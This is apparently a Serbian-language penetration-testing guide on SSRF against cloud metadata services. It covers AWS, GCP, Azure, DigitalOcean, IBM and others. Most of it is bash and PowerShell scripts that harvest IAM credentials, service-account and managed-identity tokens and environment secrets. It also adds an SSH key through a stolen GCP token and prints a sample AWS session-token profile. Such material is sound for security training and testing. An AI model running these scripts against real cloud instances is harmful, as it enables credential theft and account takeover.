Cloud SSRF

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AWS

Zloupotreba SSRF u AWS EC2 okruženju

Metapodaci endpoint može se pristupiti iz bilo koje EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na url-u: http://169.254.169.254 (informacije o metapodacima ovde).

Postoje 2 verzije metapodatkovnog endpoint-a. Prva verzija omogućava pristup endpoint-u putem GET zahteva (tako da svaka SSRF može to iskoristiti). Za verziju 2, IMDSv2, potrebno je zatražiti token slanjem PUT zahteva sa HTTP zaglavljem i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je komplikovanije zloupotrebiti sa SSRF).

caution

Imajte na umu da ako EC2 instanca primenjuje IMDSv2, prema dokumentaciji, odgovor PUT zahteva će imati hop limit od 1, što onemogućava pristup EC2 metapodacima iz kontejnera unutar EC2 instance.

Pored toga, IMDSv2 će takođe blokirati zahteve za dobijanje tokena koji uključuju X-Forwarded-For zaglavlje. Ovo je da se spreči da pogrešno konfigurisani obrnuti proxy-evi mogu da mu pristupe.

Možete pronaći informacije o metapodacima u dokumentaciji. U sledećem skriptu se dobijaju neke zanimljive informacije iz njega:

bash

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Kao javne IAM akreditive koje su izložene, možete posetiti: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Takođe možete proveriti javne EC2 sigurnosne akreditive na: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Zatim možete uzeti te akreditive i koristiti ih sa AWS CLI. To će vam omogućiti da radite bilo šta što ta uloga ima dozvolu da radi.

Da biste iskoristili nove akreditive, moraćete da kreirate novi AWS profil kao što je ovaj:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Obratite pažnju na aws_session_token, ovo je neophodno za rad profila.

PACU se može koristiti sa otkrivenim akreditivima da saznate svoje privilegije i pokušate da eskalirate privilegije.

SSRF u AWS ECS (Container Service) akreditivi

ECS je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate sopstvenu infrastrukturu za upravljanje klasterom, jer ECS to upravlja umesto vas. Ako uspete da kompromitujete uslugu koja se pokreće u ECS, metapodaci se menjaju.

Ako pristupite http://169.254.170.2/v2/credentials/<GUID> pronaći ćete akreditive ECS mašine. Ali prvo morate da pronađete <GUID>. Da biste pronašli <GUID>, potrebno je da pročitate environ promenljivu AWS_CONTAINER_CREDENTIALS_RELATIVE_URI unutar mašine.
Možete biti u mogućnosti da je pročitate iskorišćavanjem Path Traversal na file:///proc/self/environ
Pomenuta http adresa bi trebala da vam pruži AccessKey, SecretKey i token.

bash

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

note

Imajte na umu da u nekih slučajevima ćete moći da pristupite EC2 metapodacima instance iz kontejnera (proverite IMDSv2 TTL ograničenja pomenuta ranije). U ovim scenarijima iz kontejnera možete pristupiti i IAM ulozi kontejnera i IAM ulozi EC2.

SSRF za AWS Lambda

U ovom slučaju akreditivi se čuvaju u env varijablama. Dakle, da biste im pristupili, potrebno je da pristupite nečemu poput file:///proc/self/environ.

Ime zanimljivih env varijabli je:

AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID

Pored toga, pored IAM akreditiva, Lambda funkcije takođe imaju podatke o događaju koji se prosleđuju funkciji kada se pokrene. Ovi podaci su dostupni funkciji putem runtime interface i mogu sadržati osetljive informacije (kao unutar stageVariables). Za razliku od IAM akreditiva, ovi podaci su dostupni preko standardnog SSRF na http://localhost:9001/2018-06-01/runtime/invocation/next.

warning

Imajte na umu da su lambda akreditivi unutar env varijabli. Dakle, ako stack trace lambda koda ispisuje env varijable, moguće je izvući ih izazivajući grešku u aplikaciji.

SSRF URL za AWS Elastic Beanstalk

Preuzimamo accountId i region iz API-ja.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Zatim preuzimamo AccessKeyId, SecretAccessKey i Token iz API-ja.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Zatim koristimo kredencijale sa aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Možete pronaći ovde dokumentaciju o metapodacima.

SSRF URL za Google Cloud

Zahteva HTTP zaglavlje Metadata-Flavor: Google i možete pristupiti metapodacima putem sledećih URL-ova:

http://169.254.169.254
http://metadata.google.internal
http://metadata

Zanimljivi krajnji tačke za ekstrakciju informacija:

bash

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta ne zahteva header trenutno (hvala Mathiasu Karlssonu @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

caution

Da biste koristili eksfiltrirani token servisnog naloga možete jednostavno uraditi:

# Putem env varijabli
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Putem podešavanja
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Dodajte SSH ključ

Izvucite token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Proverite opseg tokena (sa prethodnim izlazom ili pokretanjem sledećeg)

bash

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Sada pošaljite SSH ključ.

bash

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

Metadata endpoint funkcioniše isto kao u VM-ovima, ali bez nekih endpoint-a:

bash

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

warning

Ne postoje stvari poput AWS uloga ili GCP servisnih naloga, tako da ne očekujte da pronađete kredencijale za metadata bot

Dokumentacija je dostupna na https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs ovde.

Mora sadržati zaglavlje Metadata: true
Ne sme imati zaglavlje X-Forwarded-For

tip

Azure VM može imati prikačenu 1 sistemsku upravljanu identitet i nekoliko korisnički upravljanih identiteta. Što u suštini znači da možete imitirati sve upravljane identitete prikačene na VM.

Po definiciji, metadata endpoint će koristiti sistemski dodeljeni MI (ako postoji).

Nažalost, nisam mogao pronaći nijedan metadata endpoint koji ukazuje na sve MI koje VM ima prikačene.

Stoga, da biste pronašli sve prikačene MI, možete uraditi:

Dobiti prikačene identitete pomoću az cli (ako ste već kompromitovali neki princip u Azure tenant-u)

az vm identity show \
  --resource-group <rsc-group> \
  --name <vm-name>

Dobiti prikačene identitete koristeći podrazumevani prikačeni MI u metapodacima:

export API_VERSION="2021-12-13"

# Dobijte token iz podrazumevanog MI
export TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
  | jq -r '.access_token')

# Dobijte potrebne detalje
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Pokušajte da dobijete prikačene MIs
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq

Dobijte sve definisane upravljane identitete u tenant-u i brute force da vidite da li je neki od njih prikačen na VM:

az identity list

caution

U zahtevima za token koristite bilo koji od parametara object_id, client_id ili msi_res_id da označite upravljani identitet koji želite da koristite (docs). Ako nijedan, podrazumevani MI će biti korišćen.

bash

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

bash

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

Azure App & Functions Services & Automation Accounts

Iz env možete dobiti vrednosti IDENTITY_HEADER i IDENTITY_ENDPOINT. To možete koristiti za prikupljanje tokena za komunikaciju sa serverom metapodataka.

Većinu vremena, želite token za jedan od ovih resursa:

caution

U zahtevima za token koristite bilo koji od parametara object_id, client_id ili msi_res_id da označite upravljanu identitet koju želite da koristite (docs). Ako nijedan, biće korišćen podrazumevani MI.

bash

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

powershell

# Define the API version
$API_VERSION = "2019-08-01"

# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}

# Get Management Token
$managementToken = Get-Token -Resource "https://management.azure.com/"
Write-Host "Management Token: $managementToken"

# Get Graph Token
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
Write-Host "Graph Token: $graphToken"

# Get Vault Token
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
Write-Host "Vault Token: $vaultToken"

# Get Storage Token
$storageToken = Get-Token -Resource "https://storage.azure.com/"
Write-Host "Storage Token: $storageToken"


# Using oneliners

## Get management token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get graph token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get vault token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get storage token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with:
Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'

IBM Cloud

warning

Imajte na umu da u IBM-u po defaultu metapodaci nisu omogućeni, tako da je moguće da nećete moći da im pristupite čak i ako ste unutar IBM cloud VM-a.

bash

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

Dokumentacija za usluge metapodataka različitih platformi je navedena u nastavku, ističući metode putem kojih se može pristupiti konfiguracionim i runtime informacijama za instance. Svaka platforma nudi jedinstvene krajnje tačke za pristup svojim uslugama metapodataka.

Packetcloud

Za pristup metapodacima Packetcloud-a, dokumentacija se može pronaći na: https://metadata.packet.net/userdata

OpenStack/RackSpace

Potrebnost za header-om nije pomenuta. Metapodaci se mogu pristupiti putem:

http://169.254.169.254/openstack

HP Helion

Potrebnost za header-om ovde takođe nije pomenuta. Metapodaci su dostupni na:

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud pruža niz krajnjih tačaka za pristup različitim aspektima metapodataka:

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

Alibaba nudi krajnje tačke za pristup metapodacima, uključujući instance i ID-ove slika:

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pristup je prikazan putem:

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Metapodaci Dockera mogu se pristupiti lokalno, sa primerima za preuzimanje informacija o kontejnerima i slikama:

Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker socket-a:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
Unutar kontejnera, koristite curl sa Docker socket-om:
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Metapodaci Ranchera mogu se pristupiti koristeći:

curl http://rancher-metadata/<version>/<path>

tip

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